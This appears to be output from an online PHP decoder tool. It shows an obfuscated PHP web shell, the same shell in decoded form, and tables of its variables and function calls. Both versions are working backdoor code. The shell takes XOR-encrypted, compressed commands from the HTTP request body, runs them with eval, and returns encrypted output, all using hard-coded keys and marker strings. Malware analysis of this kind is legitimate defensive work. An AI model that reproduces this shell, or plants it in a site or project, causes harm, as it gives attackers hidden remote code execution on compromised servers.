Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $T=str_replace('Vm','','VmcreaVmVmte_fuVmnVmVmction'); $C='=0;(6u$j<$c&6u&$i<$l6u)..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="46ad0fa6";$kh="36707dedc967";$kf="fba672940fb9";$p="34UwmnTrSLuU2lnJ";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$T=str_replace('Vm','','VmcreaVmVmte_fuVmnVmVmction');
$C='=0;(6u$j<$c&6u&$i<$l6u);$j6u++6u,$i++){$o.=6u$t6u{$i}^6u6u$k{$j6u};}}return6u6u6u $o;}if (@preg_m';
$Y='$k="46ad6u0f6ua6";6u$kh="36u676u07dedc967"6u;$kf="6ufba66u72940fb9";$p="36u4UwmnT6urS6uLuU2lnJ";f6uunc';
$O='e6uval(@gzun6ucompress(6u@x6u(@ba6u6use64_decode($m[16u]),$6uk)));$o6u=@ob_g6uet_con6utents(6u);@ob_e';
$B='ti6uon 6ux($t,6u$k){$c=strl6uen(6u$6uk);$l=strlen(6u$t)6u;$o=""6u;for($i=6u0;$i<$6ul;){for6u($j';
$r='nd6u_clea6un();$r6u=@6u6ubas6ue64_6uencode(@x(@gzcompr6uess(6u$6uo),$k));print("$6up$kh$6ur$kf");}';
$e='atch("/$kh6u(.+6u)$kf6u/"6u,@file_ge6ut_con6ut6uent6us("php://input"),$m)=6u=1) {@o6ub_star6ut6u();@';
$D=str_replace('6u','',$Y.$B.$C.$e.$O.$r);
$f=$T('',$D);$f();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$B ti6uon 6ux($t,6u$k){$c=strl6uen(6u$6uk);$l=strlen(6u$t)6u;$o..
$C =0;(6u$j<$c&6u&$i<$l6u);$j6u++6u,$i++){$o.=6u$t6u{$i}^6u6u$k..
$D $k="46ad0fa6";$kh="36707dedc967";$kf="fba672940fb9";$p="34Uw..
$O e6uval(@gzun6ucompress(6u@x6u(@ba6u6use64_decode($m[16u]),$6..
$T create_function
$Y $k="46ad6u0f6ua6";6u$kh="36u676u07dedc967"6u;$kf="6ufba66u72..
$e atch("/$kh6u(.+6u)$kf6u/"6u,@file_ge6ut_con6ut6uent6us("php:..
$k 46ad0fa6
$p 34UwmnTrSLuU2lnJ
$r nd6u_clea6un();$r6u=@6u6ubas6ue64_6uencode(@x(@gzcompr6uess(..
$kf fba672940fb9
$kh 36707dedc967

Stats

MD5 abff443de083be885aec2b4cd2d19c50
Eval Count 1
Decode Time 201 ms